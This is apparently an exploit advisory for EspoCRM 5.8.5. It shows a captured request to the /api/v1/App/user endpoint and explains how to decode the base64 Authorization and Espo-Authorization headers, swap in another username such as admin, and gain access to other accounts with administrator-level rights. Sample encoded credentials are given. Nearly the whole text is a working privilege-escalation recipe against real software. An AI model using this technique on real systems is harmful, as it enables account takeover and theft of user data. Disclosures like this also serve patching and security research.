EspoCRM 5.8.5 - Privilege Escalation

# Exploit Title: EspoCRM 5.8.5 - Privilege Escalation
# Author: Besim ALTINOK
# Vendor Homepage: https://www.espocrm.com
# Software Link: https://www.espocrm.com/downloads/EspoCRM-5.8.5.zip
# Version: v5.8.5
# Tested on: Xampp
# Credit: İsmail BOZKURT

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Details:
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1- When we sent a request to the /api/v1/App/user, we can see user details
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First Request:
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GET /api/v1/App/user HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 *************************
Authorization: Basic *************************************
Espo-Authorization: *************************************
Espo-Authorization-By-Token: true
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close
Cookie: auth-token-secret=cdc7f7*********************377;
auth-username=user1; auth-token=3a874a********************************48
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2- When we decode Basic Authorization and Espo-Authorization and change the
value with another username (like admin)  in the first request, we can see
other user information and access like BOSS
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3- Some Examples and encode technique

- BASE64:
First type: dXNlcjE6MQ== (user1:1)
Second type: user1:MzNmYzYwZDQ1ZDI2YWNhODYxZTZlYjdiMDgwMjk4TkRn (user1:pass)